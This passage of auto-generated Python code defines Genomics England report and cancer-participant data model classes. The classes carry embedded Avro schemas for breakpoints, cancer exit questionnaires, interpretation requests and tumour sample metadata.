self.iscn = kwargs.get(
'iscn', None)
self.numberOfCopies = kwargs.get(
'numberOfCopies', None)
class Assembly(object):
"""
The reference genome assembly
"""
GRCh38 = "GRCh38"
GRCh37 = "GRCh37"
def __hash__(self):
return str(self).__hash__()
class BreakPoint(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "BreakPoint", "namespace": "org.gel.models.report.avro", "fields":
[{"name": "coordinates", "type": {"type": "record", "name": "Coordinates", "fields": [{"name":
"assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38",
"GRCh37"]}}, {"name": "chromosome", "type": "string"}, {"name": "start", "type": "int"}, {"name":
"end", "type": "int"}, {"name": "ciStart", "type": ["null", {"type": "record", "name":
"ConfidenceInterval", "fields": [{"name": "left", "type": "int"}, {"name": "right", "type":
"int"}]}]}, {"name": "ciEnd", "type": ["null", "ConfidenceInterval"]}]}}, {"name": "reference",
"type": ["null", "string"]}, {"name": "alternate", "type": ["null", "string"]}, {"name": "info",
"type": ["null", {"type": "map", "values": "string"}]}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"alternate",
"coordinates",
"info",
"reference",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'coordinates': Coordinates,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'coordinates': Coordinates,
}
return embeddedTypes[fieldName]
__slots__ = [
'alternate', 'coordinates', 'info', 'reference'
]
def __init__(self, **kwargs):
self.alternate = kwargs.get(
'alternate', None)
self.coordinates = kwargs.get(
'coordinates', Coordinates())
self.info = kwargs.get(
'info', None)
self.reference = kwargs.get(
'reference', None)
class CancerActionability(object):
"""
An enumeration Variant Actionability: *
`predicts_therapeutic_response`: Predicts therapeutic response
* `prognostic`: Prognostic * `defines_diagnosis_group`:
Defines diagnosis group * `eligibility_for_trial`:
Eligibility for trial * `germline_susceptibility`: Germline
susceptibility * `other`: Other (please specify)
"""
germline_susceptibility = "germline_susceptibility"
predicts_therapeutic_response = "predicts_therapeutic_response"
prognostic = "prognostic"
defines_diagnosis_group = "defines_diagnosis_group"
eligibility_for_trial = "eligibility_for_trial"
other = "other"
def __hash__(self):
return str(self).__hash__()
class CancerActionabilitySomatic(object):
"""
The variant actionabilities: * `predicts_therapeutic_response`:
Predicts therapeutic response * `prognostic`: Prognostic *
`defines_diagnosis_group`: Defines diagnosis group *
`eligibility_for_trial`: Eligibility for trial * `other`: Other
(please specify)
"""
predicts_therapeutic_response = "predicts_therapeutic_response"
prognostic = "prognostic"
defines_diagnosis_group = "defines_diagnosis_group"
eligibility_for_trial = "eligibility_for_trial"
other = "other"
def __hash__(self):
return str(self).__hash__()
class CancerActionableVariants(object):
"""
Are the variants actionable? * `yes`: yes * `no`: no
"""
yes = "yes"
no = "no"
def __hash__(self):
return str(self).__hash__()
class CancerCaseLevelQuestions(ProtocolElement):
"""
The questions for the cancer program exit questionnaire at case
level
"""
_schemaSource = """
{"type": "record", "name": "CancerCaseLevelQuestions", "namespace": "org.gel.models.report.avro",
"doc": "", "fields": [{"name": "total_review_time", "type": "double", "doc": ""}, {"name":
"mdt1_time", "type": "double", "doc": ""}, {"name": "mdt2_time", "type": ["null", "double"], "doc":
""}, {"name": "validation_assay_time", "type": ["null", "double"], "doc": ""}, {"name":
"wet_validation_time", "type": ["null", "double"], "doc": ""}, {"name":
"analytical_validation_time", "type": ["null", "double"], "doc": ""}, {"name":
"primary_reporting_time", "type": "double", "doc": ""}, {"name": "primary_authorisation_time",
"type": "double", "doc": ""}, {"name": "report_distribution_time", "type": "double", "doc": ""},
{"name": "total_time", "type": "double", "doc": ""}, {"name": "reviewedInMdtWga", "type": {"type":
"enum", "name": "ReviewedParts", "doc": "", "symbols": ["domain_1", "domain_1_and_2",
"domain_1_2_and_suplementary"]}, "doc": ""}, {"name": "actionableVariants", "type": {"type": "enum",
"name": "CancerActionableVariants", "doc": "", "symbols": ["yes", "no"]}, "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"actionableVariants",
"analytical_validation_time",
"mdt1_time",
"mdt2_time",
"primary_authorisation_time",
"primary_reporting_time",
"report_distribution_time",
"reviewedInMdtWga",
"total_review_time",
"total_time",
"validation_assay_time",
"wet_validation_time",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'actionableVariants', 'analytical_validation_time',
'mdt1_time', 'mdt2_time', 'primary_authorisation_time',
'primary_reporting_time', 'report_distribution_time',
'reviewedInMdtWga', 'total_review_time', 'total_time',
'validation_assay_time', 'wet_validation_time'
]
def __init__(self, **kwargs):
self.actionableVariants = kwargs.get(
'actionableVariants', None)
self.analytical_validation_time = kwargs.get(
'analytical_validation_time', None)
self.mdt1_time = kwargs.get(
'mdt1_time', None)
self.mdt2_time = kwargs.get(
'mdt2_time', None)
self.primary_authorisation_time = kwargs.get(
'primary_authorisation_time', None)
self.primary_reporting_time = kwargs.get(
'primary_reporting_time', None)
self.report_distribution_time = kwargs.get(
'report_distribution_time', None)
self.reviewedInMdtWga = kwargs.get(
'reviewedInMdtWga', None)
self.total_review_time = kwargs.get(
'total_review_time', None)
self.total_time = kwargs.get(
'total_time', None)
self.validation_assay_time = kwargs.get(
'validation_assay_time', None)
self.wet_validation_time = kwargs.get(
'wet_validation_time', None)
class CancerExitQuestionnaire(ProtocolElement):
"""
The cancer program exit questionnaire
"""
_schemaSource = """
{"type": "record", "name": "CancerExitQuestionnaire", "namespace": "org.gel.models.report.avro",
"doc": "", "fields": [{"name": "eventDate", "type": "string", "doc": ""}, {"name": "reporter",
"type": "string", "doc": ""}, {"name": "caseLevelQuestions", "type": {"type": "record", "name":
"CancerCaseLevelQuestions", "doc": "", "fields": [{"name": "total_review_time", "type": "double",
"doc": ""}, {"name": "mdt1_time", "type": "double", "doc": ""}, {"name": "mdt2_time", "type":
["null", "double"], "doc": ""}, {"name": "validation_assay_time", "type": ["null", "double"], "doc":
""}, {"name": "wet_validation_time", "type": ["null", "double"], "doc": ""}, {"name":
"analytical_validation_time", "type": ["null", "double"], "doc": ""}, {"name":
"primary_reporting_time", "type": "double", "doc": ""}, {"name": "primary_authorisation_time",
"type": "double", "doc": ""}, {"name": "report_distribution_time", "type": "double", "doc": ""},
{"name": "total_time", "type": "double", "doc": ""}, {"name": "reviewedInMdtWga", "type": {"type":
"enum", "name": "ReviewedParts", "doc": "", "symbols": ["domain_1", "domain_1_and_2",
"domain_1_2_and_suplementary"]}, "doc": ""}, {"name": "actionableVariants", "type": {"type": "enum",
"name": "CancerActionableVariants", "doc": "", "symbols": ["yes", "no"]}, "doc": ""}]}, "doc": ""},
{"name": "somaticVariantLevelQuestions", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "CancerSomaticVariantLevelQuestions", "doc": "", "fields": [{"name":
"variantCoordinates", "type": {"type": "record", "name": "VariantCoordinates", "doc": "", "fields":
[{"name": "chromosome", "type": "string", "doc": ""}, {"name": "position", "type": "int", "doc":
""}, {"name": "reference", "type": "string", "doc": ""}, {"name": "alternate", "type": "string",
"doc": ""}, {"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols":
["GRCh38", "GRCh37"]}, "doc": ""}]}, "doc": ""}, {"name": "variantActionability", "type": {"type":
"array", "items": {"type": "enum", "name": "CancerActionabilitySomatic", "doc": "", "symbols":
["predicts_therapeutic_response", "prognostic", "defines_diagnosis_group", "eligibility_for_trial",
"other"]}}, "doc": ""}, {"name": "otherVariantActionability", "type": ["null", "string"], "doc":
""}, {"name": "variantUsability", "type": {"type": "enum", "name": "CancerUsabilitySomatic", "doc":
"", "symbols": ["already_actioned", "actioned_result_of_this_wga", "not_yet_actioned"]}, "doc": ""},
{"name": "variantTested", "type": {"type": "enum", "name": "CancerTested", "doc": "", "symbols":
["not_indicated_for_patient_care", "no_orthologous_test_available", "test_performed_prior_to_wga",
"technical_validation_following_wga"]}, "doc": ""}, {"name": "validationAssayType", "type":
"string", "doc": ""}]}}], "doc": ""}, {"name": "germlineVariantLevelQuestions", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "CancerGermlineVariantLevelQuestions", "doc":
"", "fields": [{"name": "variantCoordinates", "type": "VariantCoordinates", "doc": ""}, {"name":
"variantActionability", "type": {"type": "array", "items": {"type": "enum", "name":
"CancerActionability", "doc": "", "symbols": ["germline_susceptibility",
"predicts_therapeutic_response", "prognostic", "defines_diagnosis_group", "eligibility_for_trial",
"other"]}}, "doc": ""}, {"name": "otherVariantActionability", "type": ["null", "string"]}, {"name":
"variantUsability", "type": {"type": "enum", "name": "CancerUsabilityGermline", "doc": "",
"symbols": ["already_actioned", "actioned_result_of_this_wga"]}, "doc": ""}, {"name":
"variantTested", "type": "CancerTested", "doc": ""}, {"name": "validationAssayType", "type":
"string", "doc": ""}]}}], "doc": ""}, {"name": "additionalComments", "type": ["null", "string"],
"doc": ""}, {"name": "otherActionableVariants", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "AdditionalVariantsQuestions", "fields": [{"name": "variantCoordinates", "type":
"VariantCoordinates", "doc": ""}, {"name": "variantActionability", "type": {"type": "array",
"items": "CancerActionability"}, "doc": ""}, {"name": "otherVariantActionability", "type": ["null",
"string"]}, {"name": "variantUsability", "type": "CancerUsabilitySomatic", "doc": ""}, {"name":
"variantTested", "type": {"type": "enum", "name": "CancerTestedAdditional", "doc": "", "symbols":
["not_indicated_for_patient_care", "no_orthologous_test_available", "test_performed_prior_to_wga",
"technical_validation_following_wga", "na"]}, "doc": ""}, {"name": "validationAssayType", "type":
"string", "doc": ""}]}}], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"additionalComments",
"caseLevelQuestions",
"eventDate",
"germlineVariantLevelQuestions",
"otherActionableVariants",
"reporter",
"somaticVariantLevelQuestions",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'caseLevelQuestions': CancerCaseLevelQuestions,
'germlineVariantLevelQuestions': CancerGermlineVariantLevelQuestions,
'otherActionableVariants': AdditionalVariantsQuestions,
'somaticVariantLevelQuestions': CancerSomaticVariantLevelQuestions,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'caseLevelQuestions': CancerCaseLevelQuestions,
'germlineVariantLevelQuestions': CancerGermlineVariantLevelQuestions,
'otherActionableVariants': AdditionalVariantsQuestions,
'somaticVariantLevelQuestions': CancerSomaticVariantLevelQuestions,
}
return embeddedTypes[fieldName]
__slots__ = [
'additionalComments', 'caseLevelQuestions', 'eventDate',
'germlineVariantLevelQuestions', 'otherActionableVariants',
'reporter', 'somaticVariantLevelQuestions'
]
def __init__(self, **kwargs):
self.additionalComments = kwargs.get(
'additionalComments', None)
self.caseLevelQuestions = kwargs.get(
'caseLevelQuestions', CancerCaseLevelQuestions())
self.eventDate = kwargs.get(
'eventDate', None)
self.germlineVariantLevelQuestions = kwargs.get(
'germlineVariantLevelQuestions', None)
self.otherActionableVariants = kwargs.get(
'otherActionableVariants', None)
self.reporter = kwargs.get(
'reporter', None)
self.somaticVariantLevelQuestions = kwargs.get(
'somaticVariantLevelQuestions', None)
class CancerGermlineVariantLevelQuestions(ProtocolElement):
"""
The questions for the cancer program exit questionnaire for
germline variants
"""
_schemaSource = """
{"type": "record", "name": "CancerGermlineVariantLevelQuestions", "namespace":
"org.gel.models.report.avro", "doc": "", "fields": [{"name": "variantCoordinates", "type": {"type":
"record", "name": "VariantCoordinates", "doc": "", "fields": [{"name": "chromosome", "type":
"string", "doc": ""}, {"name": "position", "type": "int", "doc": ""}, {"name": "reference", "type":
"string", "doc": ""}, {"name": "alternate", "type": "string", "doc": ""}, {"name": "assembly",
"type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc":
""}]}, "doc": ""}, {"name": "variantActionability", "type": {"type": "array", "items": {"type":
"enum", "name": "CancerActionability", "doc": "", "symbols": ["germline_susceptibility",
"predicts_therapeutic_response", "prognostic", "defines_diagnosis_group", "eligibility_for_trial",
"other"]}}, "doc": ""}, {"name": "otherVariantActionability", "type": ["null", "string"]}, {"name":
"variantUsability", "type": {"type": "enum", "name": "CancerUsabilityGermline", "doc": "",
"symbols": ["already_actioned", "actioned_result_of_this_wga"]}, "doc": ""}, {"name":
"variantTested", "type": {"type": "enum", "name": "CancerTested", "doc": "", "symbols":
["not_indicated_for_patient_care", "no_orthologous_test_available", "test_performed_prior_to_wga",
"technical_validation_following_wga"]}, "doc": ""}, {"name": "validationAssayType", "type":
"string", "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"otherVariantActionability",
"validationAssayType",
"variantActionability",
"variantCoordinates",
"variantTested",
"variantUsability",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'variantCoordinates': VariantCoordinates,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'variantCoordinates': VariantCoordinates,
}
return embeddedTypes[fieldName]
__slots__ = [
'otherVariantActionability', 'validationAssayType',
'variantActionability', 'variantCoordinates', 'variantTested',
'variantUsability'
]
def __init__(self, **kwargs):
self.otherVariantActionability = kwargs.get(
'otherVariantActionability', None)
self.validationAssayType = kwargs.get(
'validationAssayType', None)
self.variantActionability = kwargs.get(
'variantActionability', None)
self.variantCoordinates = kwargs.get(
'variantCoordinates', VariantCoordinates())
self.variantTested = kwargs.get(
'variantTested', None)
self.variantUsability = kwargs.get(
'variantUsability', None)
class CancerInterpretationRequest(ProtocolElement):
"""
This record represents basic information for this report
"""
_schemaSource = """
{"type": "record", "name": "CancerInterpretationRequest", "namespace": "org.gel.models.report.avro",
"doc": "", "fields": [{"name": "versionControl", "type": {"type": "record", "name":
"ReportVersionControl", "fields": [{"name": "gitVersionControl", "type": "string", "doc": "",
"default": "6.0.0"}]}, "doc": ""}, {"name": "interpretationRequestId", "type": "string", "doc": ""},
{"name": "interpretationRequestVersion", "type": "int", "doc": ""}, {"name": "internalStudyId",
"type": "string", "doc": ""}, {"name": "participantInternalId", "type": ["null", "string"], "doc":
""}, {"name": "genomeAssembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols":
["GRCh38", "GRCh37"]}, "doc": ""}, {"name": "workspace", "type": {"type": "array", "items":
"string"}, "doc": ""}, {"name": "bams", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "File", "doc": "", "fields": [{"name": "sampleId", "type": ["null", {"type":
"array", "items": "string"}], "doc": ""}, {"name": "uriFile", "type": "string", "doc": ""}, {"name":
"fileType", "type": {"type": "enum", "name": "FileType", "symbols": ["BAM", "gVCF", "VCF_small",
"VCF_somatic_small", "VCF_CNV", "VCF_somatic_CNV", "VCF_SV", "VCF_somatic_SV", "VCF_SV_CNV", "SVG",
"ANN", "BigWig", "MD5Sum", "ROH", "OTHER", "PARTITION", "VARIANT_FREQUENCIES", "COVERAGE"]}, "doc":
""}, {"name": "md5Sum", "type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name": "vcfs",
"type": ["null", {"type": "array", "items": "File"}], "doc": ""}, {"name": "bigWigs", "type":
["null", {"type": "array", "items": "File"}], "doc": ""}, {"name": "annotationFile", "type":
["null", "File"], "doc": ""}, {"name": "otherFiles", "type": ["null", {"type": "map", "values":
"File"}], "doc": ""}, {"name": "cancerParticipant", "type": ["null", {"type": "record", "name":
"CancerParticipant", "namespace": "org.gel.models.participant.avro", "doc": "", "fields": [{"name":
"yearOfBirth", "type": ["null", "int"], "doc": ""}, {"name": "morphology", "type": ["null", {"type":
"array", "items": "string"}], "doc": ""}, {"name": "readyForAnalysis", "type": "boolean", "doc":
""}, {"name": "consentStatus", "type": ["null", {"type": "record", "name": "ConsentStatus", "doc":
"", "fields": [{"name": "programmeConsent", "type": "boolean", "doc": "", "default": false},
{"name": "primaryFindingConsent", "type": "boolean", "doc": "", "default": false}, {"name":
"secondaryFindingConsent", "type": "boolean", "doc": "", "default": false}, {"name":
"carrierStatusConsent", "type": "boolean", "doc": "", "default": false}]}], "doc": ""}, {"name":
"center", "type": ["null", "string"], "doc": ""}, {"name": "individualId", "type": "string", "doc":
""}, {"name": "primaryDiagnosisDisease", "type": ["null", {"type": "array", "items": "string"}],
"doc": ""}, {"name": "primaryDiagnosisSubDisease", "type": ["null", {"type": "array", "items":
"string"}], "doc": ""}, {"name": "sex", "type": {"type": "enum", "name": "Sex", "doc": "",
"symbols": ["MALE", "FEMALE", "UNKNOWN"]}, "doc": ""}, {"name": "additionalInformation", "type":
["null", {"type": "map", "values": "string"}], "doc": ""}, {"name": "assignedICD10", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "tumourSamples", "type":
{"type": "array", "items": {"type": "record", "name": "TumourSample", "doc": "", "fields": [{"name":
"sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type": "int", "doc": ""},
{"name": "LDPCode", "type": "string", "doc": ""}, {"name": "tumourId", "type": "string", "doc": ""},
{"name": "programmePhase", "type": ["null", {"type": "enum", "name": "ProgrammePhase", "symbols":
["CRUK", "OXFORD", "CLL", "IIP", "MAIN", "EXPT"]}], "doc": ""}, {"name": "diseaseType", "type":
["null", {"type": "enum", "name": "diseaseType", "symbols": ["ADULT_GLIOMA", "BLADDER", "BREAST",
"CARCINOMA_OF_UNKNOWN_PRIMARY", "CHILDHOOD", "COLORECTAL", "ENDOCRINE", "ENDOMETRIAL_CARCINOMA",
"HAEMONC", "HEPATOPANCREATOBILIARY", "LUNG", "MALIGNANT_MELANOMA", "NASOPHARYNGEAL",
"ORAL_OROPHARYNGEAL", "OVARIAN", "PROSTATE", "RENAL", "SARCOMA", "SINONASAL",
"TESTICULAR_GERM_CELL_TUMOURS", "UPPER_GASTROINTESTINAL", "OTHER",
"NON_HODGKINS_B_CELL_LYMPHOMA_LOW_MOD_GRADE", "CLASSICAL_HODGKINS",
"NODULAR_LYMPHOCYTE_PREDOMINANT_HODGKINS", "T_CELL_LYMPHOMA"]}], "doc": ""}, {"name":
"diseaseSubType", "type": ["null", "string"], "doc": ""}, {"name": "clinicalSampleDateTime", "type":
["null", "string"], "doc": ""}, {"name": "tumourType", "type": ["null", {"type": "enum", "name":
"TumourType", "symbols": ["PRIMARY", "METASTATIC_RECURRENCE", "RECURRENCE_OF_PRIMARY_TUMOUR",
"METASTASES"]}], "doc": ""}, {"name": "tumourContent", "type": ["null", {"type": "enum", "name":
"TumourContent", "symbols": ["High", "Medium", "Low"]}], "doc": ""}, {"name": "source", "type":
["null", {"type": "enum", "name": "SampleSource", "doc": "", "symbols": ["TUMOUR",
"BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS", "BONE_MARROW_ASPIRATE_TUMOUR_CELLS", "BLOOD", "SALIVA",
"FIBROBLAST", "TISSUE"]}], "doc": ""}, {"name": "preparationMethod", "type": ["null", {"type":
"enum", "name": "PreparationMethod", "symbols": ["EDTA", "ORAGENE", "FF", "FFPE",
"CD128_SORTED_CELLS", "ASPIRATE"]}], "doc": ""}, {"name": "tissueSource", "type": ["null", {"type":
"enum", "name": "TissueSource", "symbols": ["BMA_TUMOUR_SORTED_CELLS", "CT_GUIDED_BIOPSY",
"ENDOSCOPIC_BIOPSY", "ENDOSCOPIC_ULTRASOUND_GUIDED_BIOPSY", "ENDOSCOPIC_ULTRASOUND_GUIDED_FNA",
"LAPAROSCOPIC_BIOPSY", "LAPAROSCOPIC_EXCISION", "MRI_GUIDED_BIOPSY", "NON_GUIDED_BIOPSY",
"SURGICAL_RESECTION", "STEREOTACTICALLY_GUIDED_BIOPSY", "USS_GUIDED_BIOPSY", "NON_STANDARD_BIOPSY",
"NOT_SPECIFIED"]}], "doc": ""}, {"name": "product", "type": ["null", {"type": "enum", "name":
"Product", "symbols": ["DNA", "RNA"]}], "doc": ""}, {"name": "morphologyICD", "type": ["null",
"string"], "doc": ""}, {"name": "morphologySnomedCT", "type": ["null", "string"], "doc": ""},
{"name": "morphologySnomedRT", "type": ["null", "string"], "doc": ""}, {"name": "topographyICD",
"type": ["null", "string"], "doc": ""}, {"name": "topographySnomedCT", "type": ["null", "string"],
"doc": ""}, {"name": "topographySnomedRT", "type": ["null", "string"], "doc": ""}]}}, "doc": ""},
{"name": "germlineSamples", "type": {"type": "array", "items": {"type": "record", "name":
"GermlineSample", "doc": "", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name":
"labSampleId", "type": "int", "doc": ""}, {"name": "LDPCode", "type": "string", "doc": ""}, {"name":
"source", "type": ["null", "SampleSource"], "doc": ""}, {"name": "product", "type": ["null",
"Product"], "doc": ""}, {"name": "preparationMethod", "type": ["null", "PreparationMethod"], "doc":
""}, {"name": "programmePhase", "type": ["null", "ProgrammePhase"], "doc": ""}, {"name":
"clinicalSampleDateTime", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name":
"matchedSamples", "type": {"type": "array", "items": {"type": "record", "name": "MatchedSamples",
"doc": "", "fields": [{"name": "germlineSampleId", "type": ["null", "string"], "doc": ""}, {"name":
"tumourSampleId", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name": "versionControl",
"type": ["null", {"type": "record", "name": "VersionControl", "fields": [{"name":
"GitVersionControl", "type": "string", "doc": "", "default": "1.1.0"}]}], "doc": ""}]}], "doc": ""},
{"name": "otherFamilyHistory", "type": ["null", {"type": "record", "name": "OtherFamilyHistory",
"doc": "", "fields": [{"name": "maternalFamilyHistory", "type": ["null", {"type": "array", "items":
"string"}], "doc": ""}, {"name": "paternalFamilyHistory", "type": ["null", {"type": "array",
"items": "string"}], "doc": ""}]}], "doc": ""}, {"name": "genePanelsCoverage", "type": ["null",
{"type": "map", "values": {"type": "map", "values": {"type": "map", "values": "float"}}}], "doc":
""}, {"name": "interpretationFlags", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "InterpretationFlag", "doc": "", "fields": [{"name": "interpretationFlag", "type": {"type":
"enum", "name": "InterpretationFlags", "doc": "", "symbols": ["mixed_chemistries",
"mixedLab_preparation", "low_tumour_purity", "uniparental_isodisomy", "uniparental_heterodisomy",
"unusual_karyotype", "high_cnv_count", "high_estimate_human_contamination_fraction",
"mixed_recruiting_gmc", "suspected_mosaicism", "low_quality_sample", "ffpe_tumour_sample",
"ff_nano_tumour_sample", "missing_values_for_proband_in_reported_variant", "reissued",
"supplementary_report_errors", "internal_use_only", "high_priority", "other"]}, "doc": ""}, {"name":
"additionalDescription", "type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name":
"additionalInfo", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"additionalInfo",
"annotationFile",
"bams",
"bigWigs",
"cancerParticipant",
"genePanelsCoverage",
"genomeAssembly",
"internalStudyId",
"interpretationFlags",
"interpretationRequestId",
"interpretationRequestVersion",
"otherFamilyHistory",
"otherFiles",
"participantInternalId",
"vcfs",
"versionControl",
"workspace",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'annotationFile': File,
'bams': File,
'bigWigs': File,
'cancerParticipant': CancerParticipant,
'interpretationFlags': InterpretationFlag,
'otherFamilyHistory': OtherFamilyHistory,
'otherFiles': File,
'vcfs': File,
'versionControl': ReportVersionControl,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'annotationFile': File,
'bams': File,
'bigWigs': File,
'cancerParticipant': CancerParticipant,
'interpretationFlags': InterpretationFlag,
'otherFamilyHistory': OtherFamilyHistory,
'otherFiles': File,
'vcfs': File,
'versionControl': ReportVersionControl,
}
return embeddedTypes[fieldName]
__slots__ = [
'additionalInfo', 'annotationFile', 'bams', 'bigWigs',
'cancerParticipant', 'genePanelsCoverage', 'genomeAssembly',
'internalStudyId', 'interpretationFlags',
'interpretationRequestId', 'interpretationRequestVersion',
'otherFamilyHistory', 'otherFiles', 'participantInternalId',
'vcfs', 'versionControl', 'workspace'
]
def __init__(self, **kwargs):
self.additionalInfo = kwargs.get(
'additionalInfo', None)
self.annotationFile = kwargs.get(
'annotationFile', None)
self.bams = kwargs.get(
'bams', None)
self.bigWigs = kwargs.get(
'bigWigs', None)
self.cancerParticipant = kwargs.get(
'cancerParticipant', None)
self.genePanelsCoverage = kwargs.get(
'genePanelsCoverage', None)
self.genomeAssembly = kwargs.get(
'genomeAssembly', None)
self.internalStudyId = kwargs.get(
'internalStudyId', None)
self.interpretationFlags = kwargs.get(
'interpretationFlags', None)
self.interpretationRequestId = kwargs.get(
'interpretationRequestId', None)
self.interpretationRequestVersion = kwargs.get(
'interpretationRequestVersion', None)
self.otherFamilyHistory = kwargs.get(
'otherFamilyHistory', None)
self.otherFiles = kwargs.get(
'otherFiles', None)
self.participantInternalId = kwargs.get(
'participantInternalId', None)
self.vcfs = kwargs.get(
'vcfs', None)
self.versionControl = kwargs.get(
'versionControl', ReportVersionControl())
self.workspace = kwargs.get(
'workspace', None)
class CancerParticipant(ProtocolElement):
"""
This defines a Cancer Participant
"""
_schemaSource = """
{"type": "record", "name": "CancerParticipant", "namespace": "org.gel.models.participant.avro",
"doc": "", "fields": [{"name": "yearOfBirth", "type": ["null", "int"], "doc": ""}, {"name":
"morphology", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"readyForAnalysis", "type": "boolean", "doc": ""}, {"name": "consentStatus", "type": ["null",
{"type": "record", "name": "ConsentStatus", "doc": "", "fields": [{"name": "programmeConsent",
"type": "boolean", "doc": "", "default": false}, {"name": "primaryFindingConsent", "type":
"boolean", "doc": "", "default": false}, {"name": "secondaryFindingConsent", "type": "boolean",
"doc": "", "default": false}, {"name": "carrierStatusConsent", "type": "boolean", "doc": "",
"default": false}]}], "doc": ""}, {"name": "center", "type": ["null", "string"], "doc": ""},
{"name": "individualId", "type": "string", "doc": ""}, {"name": "primaryDiagnosisDisease", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryDiagnosisSubDisease",
"type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "sex", "type": {"type":
"enum", "name": "Sex", "doc": "", "symbols": ["MALE", "FEMALE", "UNKNOWN"]}, "doc": ""}, {"name":
"additionalInformation", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}, {"name":
"assignedICD10", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"tumourSamples", "type": {"type": "array", "items": {"type": "record", "name": "TumourSample",
"doc": "", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId",
"type": "int", "doc": ""}, {"name": "LDPCode", "type": "string", "doc": ""}, {"name": "tumourId",
"type": "string", "doc": ""}, {"name": "programmePhase", "type": ["null", {"type": "enum", "name":
"ProgrammePhase", "symbols": ["CRUK", "OXFORD", "CLL", "IIP", "MAIN", "EXPT"]}], "doc": ""},
{"name": "diseaseType", "type": ["null", {"type": "enum", "name": "diseaseType", "symbols":
["ADULT_GLIOMA", "BLADDER", "BREAST", "CARCINOMA_OF_UNKNOWN_PRIMARY", "CHILDHOOD", "COLORECTAL",
"ENDOCRINE", "ENDOMETRIAL_CARCINOMA", "HAEMONC", "HEPATOPANCREATOBILIARY", "LUNG",
"MALIGNANT_MELANOMA", "NASOPHARYNGEAL", "ORAL_OROPHARYNGEAL", "OVARIAN", "PROSTATE", "RENAL",
"SARCOMA", "SINONASAL", "TESTICULAR_GERM_CELL_TUMOURS", "UPPER_GASTROINTESTINAL", "OTHER",
"NON_HODGKINS_B_CELL_LYMPHOMA_LOW_MOD_GRADE", "CLASSICAL_HODGKINS",
"NODULAR_LYMPHOCYTE_PREDOMINANT_HODGKINS", "T_CELL_LYMPHOMA"]}], "doc": ""}, {"name":
"diseaseSubType", "type": ["null", "string"], "doc": ""}, {"name": "clinicalSampleDateTime", "type":
["null", "string"], "doc": ""}, {"name": "tumourType", "type": ["null", {"type": "enum", "name":
"TumourType", "symbols": ["PRIMARY", "METASTATIC_RECURRENCE", "RECURRENCE_OF_PRIMARY_TUMOUR",
"METASTASES"]}], "doc": ""}, {"name": "tumourContent", "type": ["null", {"type": "enum", "name":
"TumourContent", "symbols": ["High", "Medium", "Low"]}], "doc": ""}, {"name": "source", "type":
["null", {"type": "enum", "name": "SampleSource", "doc": "", "symbols": ["TUMOUR",
"BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS", "BONE_MARROW_ASPIRATE_TUMOUR_CELLS", "BLOOD", "SALIVA",
"FIBROBLAST", "TISSUE"]}], "doc": ""}, {"name": "preparationMethod", "type": ["null", {"type":
"enum", "name": "PreparationMethod", "symbols": ["EDTA", "ORAGENE", "FF", "FFPE",
"CD128_SORTED_CELLS", "ASPIRATE"]}], "doc": ""}, {"name": "tissueSource", "type": ["null", {"type":
"enum", "name": "TissueSource", "symbols": ["BMA_TUMOUR_SORTED_CELLS", "CT_GUIDED_BIOPSY",
"ENDOSCOPIC_BIOPSY", "ENDOSCOPIC_ULTRASOUND_GUIDED_BIOPSY", "ENDOSCOPIC_ULTRASOUND_GUIDED_FNA",
"LAPAROSCOPIC_BIOPSY", "LAPAROSCOPIC_EXCISION", "MRI_GUIDED_BIOPSY", "NON_GUIDED_BIOPSY",
"SURGICAL_RESECTION", "STEREOTACTICALLY_GUIDED_BIOPSY", "USS_GUIDED_BIOPSY", "NON_STANDARD_BIOPSY",
"NOT_SPECIFIED"]}], "doc": ""}, {"name": "product", "type": ["null", {"type": "enum", "name":
"Product", "symbols": ["DNA", "RNA"]}], "doc": ""}, {"name": "morphologyICD", "type": ["null",
